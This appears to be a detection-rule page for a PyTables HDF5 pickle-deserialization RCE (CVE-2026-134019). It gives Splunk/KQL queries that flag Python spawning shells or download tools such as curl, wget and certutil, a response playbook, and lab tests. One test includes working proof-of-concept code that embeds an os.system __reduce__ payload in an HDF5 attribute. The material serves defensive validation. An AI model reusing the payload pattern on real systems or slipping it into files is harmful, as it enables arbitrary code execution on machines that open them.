Skip to content
CVE-2026-134019 Splunk · SPL

Detect PyTables Remote Code Execution via Auto-Unpickled HDF5 Attributes (CVE-2026-134019) in Splunk

Detects exploitation of CVE-2026-134019, a critical (CVSS 9.8) insecure-deserialization flaw (CWE-502) in the PyTables Python library (`tables` on PyPI) at versions <= 3.11.1. PyTables automatically unpickles certain HDF5 node/leaf attributes when a file is opened, so a maliciously crafted `.h5`/`.hdf5` file can execute arbitrary code (via `pickle.loads` / `__reduce__`) the moment an application reads it with `tables.open_file()`. Because exploitation occurs in-process at file-open time, detection focuses on Python processes loading the `tables` module while opening untrusted HDF5 files, pickle-reduce driven child process spawns descending from Python, and the arrival of HDF5 files from untrusted sources. No fixed version is available as of disclosure. Mitigate by opening untrusted files with `allow_pickle=False` or setting `tables.parameters.ALLOW_PICKLE = False` to disable auto-unpickling of attributes.

MITRE ATT&CK

Tactic
Initial Access Execution

SPL Detection Query

Splunk (SPL)
spl
``` df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence ```
index=* (sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" OR sourcetype="linux:auditd" OR sourcetype="sysmon:linux") EventCode=1
| search parent_process_name IN ("python","python3","pythonw","python.exe","python3.exe")
| search (parent_process="*tables*" OR parent_process="*.h5*" OR parent_process="*.hdf5*" OR parent_process="*open_file*")
| search process_name IN ("sh","bash","cmd.exe","powershell.exe","pwsh","curl","wget","certutil.exe")
| table _time host user parent_process_name parent_process process_name process
| sort - _time
high severity medium confidence

Identifies Python/PyTables processes spawning shell or network-download child processes, indicating deserialization RCE from a malicious HDF5 file.

Data Sources

SysmonLinux auditd

Required Sourcetypes

XmlWinEventLog:Microsoft-Windows-Sysmon/Operationallinux:auditdsysmon:linux

False Positives & Tuning

  • Data engineering scripts that legitimately combine PyTables reads with external CLI tools
  • Automated ETL jobs spawning helper subprocesses
  • Interactive analyst sessions in notebooks spawning shells

Other platforms for CVE-2026-134019


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are further down this page.

  1. Test 1 Craft malicious HDF5 file with pickle __reduce__ payload (lab)

    Expected signal: File-creation event for /tmp/malicious.h5 from a python3 process.

  2. Test 2 Trigger RCE by opening malicious HDF5 with vulnerable PyTables (lab)

    Expected signal: python3 parent process (command line referencing the .h5 file and tables) spawns a shell/`id` child process and creates /tmp/pytables_poc.txt.

  3. Test 3 Simulate untrusted HDF5 ingestion and open (lab)

    Expected signal: python3 process opening /tmp/uploads/incoming.hdf5 from an ingestion directory, followed by child-process spawn if payload present.


Response Playbook

Triage

  1. Confirm the installed `tables` (PyTables) version on the host with `pip show tables` or `python -c "import tables; print(tables.__version__)"`; any version <= 3.11.1 is vulnerable.
  2. Identify the HDF5 file (`.h5`/`.hdf5`) that was opened by the alerting Python process and determine its source (upload, email, shared drive, external download) and whether it is from an untrusted party.
  3. Review the full process tree: confirm the parent Python process loaded `tables` and that the suspicious child process (shell, LOLBin, downloader) was spawned synchronously with the file-open event.
  4. Check whether the application or service routinely opens user-supplied HDF5 files, which greatly raises exploitation likelihood.

Containment

  1. Isolate the affected host from the network to prevent follow-on command execution and lateral movement.
  2. Quarantine the suspected malicious HDF5 file and prevent further processing by the affected application/service.
  3. No fixed version is available. Disable auto-unpickling by opening files with `allow_pickle=False` or setting `tables.parameters.ALLOW_PICKLE = False`, restart the affected Python services, and refuse HDF5 files from untrusted sources.

Evidence Collection

  1. Preserve the malicious HDF5 file and compute its hash for analysis of embedded pickle payloads (inspect attribute values for `__reduce__`/`c__builtin__` opcodes).
  2. Collect process-creation telemetry (Sysmon/EDR) for the Python parent and all descendant processes, including command lines and network connections.
  3. Capture the Python application logs, working directory contents, and any dropped files or scheduled tasks created by the child process.

Escalation Criteria

  • !Escalate to incident response if a child process executed network, encoding, or persistence commands, indicating successful code execution.
  • !Escalate if the HDF5 file originated from an external or untrusted source and the host processes multi-tenant or internet-facing uploads.
  • !Escalate if evidence of lateral movement, credential access, or data exfiltration is found downstream of the Python process.

Investigation Guide

Forensic Artifacts

  • >The malicious `.h5`/`.hdf5` file and its HDF5 attribute blobs containing serialized pickle payloads
  • >Process-creation records linking the Python/PyTables parent to anomalous child processes
  • >Any files, scheduled tasks, or persistence artifacts dropped by the spawned child process

Tuning Guidance

Build an allowlist of known data-science hosts and service accounts that legitimately run PyTables, and of the external tools those pipelines spawn, then suppress those parent/child pairs. Tighten the child-process list to high-signal shells and LOLBins in your environment. Where feasible, correlate with the source of the HDF5 file (download/upload events) to prioritize files from untrusted origins, since benign pipelines typically read internal, trusted datasets.


Hunting Queries

Baselines Python processes opening HDF5 files so analysts can spot hosts newly processing untrusted HDF5 input or spawning unexpected children.

Hunting — KQL
kql
// df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence
DeviceProcessEvents | where InitiatingProcessFileName in~ ("python.exe","python3.exe","pythonw.exe") | where InitiatingProcessCommandLine has_any (".h5",".hdf5","open_file","tables") | summarize count() by DeviceName, InitiatingProcessAccountName, bin(Timestamp, 1h)
Hunting — SPL
spl
``` df00tech DF00-63b52b508d · https://df00tech.com/detections/CVE-2026-134019 · licence: https://df00tech.com/detections/licence ```
index=* sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 (parent_process_name=python* OR process_name=python*) (CommandLine="*.h5*" OR CommandLine="*.hdf5*" OR CommandLine="*open_file*") | stats count by host, user, CommandLine

Atomic Red Team Tests

Test 1 Craft malicious HDF5 file with pickle __reduce__ payload (lab)
linux

Builds an HDF5 file whose node attribute contains a pickled object that executes a command on auto-unpickle, simulating the CVE-2026-134019 payload.

Command

bash
python3 - <<'PY'
import pickle, h5py
class E:
    def __reduce__(self):
        import os
        return (os.system, ('id > /tmp/pytables_poc.txt',))
with h5py.File('/tmp/malicious.h5','w') as f:
    f.attrs['payload'] = pickle.dumps(E())
print('wrote /tmp/malicious.h5')
PY

Cleanup

bash
rm -f /tmp/malicious.h5 /tmp/pytables_poc.txt

Expected Telemetry

File-creation event for /tmp/malicious.h5 from a python3 process.

Expected Detection

No child-process detection yet (file only created); establishes the payload for the open test.

Test 2 Trigger RCE by opening malicious HDF5 with vulnerable PyTables (lab)
linux

Opens the crafted HDF5 file with a vulnerable PyTables version so the auto-unpickled attribute executes the embedded command, spawning a child process.

Command

bash
python3 -c "import tables; f=tables.open_file('/tmp/malicious.h5'); print([n for n in f.walk_nodes()]); f.close()"

Cleanup

bash
rm -f /tmp/pytables_poc.txt

Expected Telemetry

python3 parent process (command line referencing the .h5 file and tables) spawns a shell/`id` child process and creates /tmp/pytables_poc.txt.

Expected Detection

KQL/SPL/EQL rules fire on the Python/PyTables parent spawning a shell child process.

Test 3 Simulate untrusted HDF5 ingestion and open (lab)
linux

Downloads an HDF5 file to a staging directory and opens it with PyTables, emulating an application that processes externally supplied HDF5 input.

Command

bash
mkdir -p /tmp/uploads && cp /tmp/malicious.h5 /tmp/uploads/incoming.hdf5 && python3 -c "import tables; f=tables.open_file('/tmp/uploads/incoming.hdf5'); f.close()"

Cleanup

bash
rm -rf /tmp/uploads

Expected Telemetry

python3 process opening /tmp/uploads/incoming.hdf5 from an ingestion directory, followed by child-process spawn if payload present.

Expected Detection

Hunting queries surface Python opening HDF5 from an upload/staging path; child-spawn rules fire on execution.

Related Detections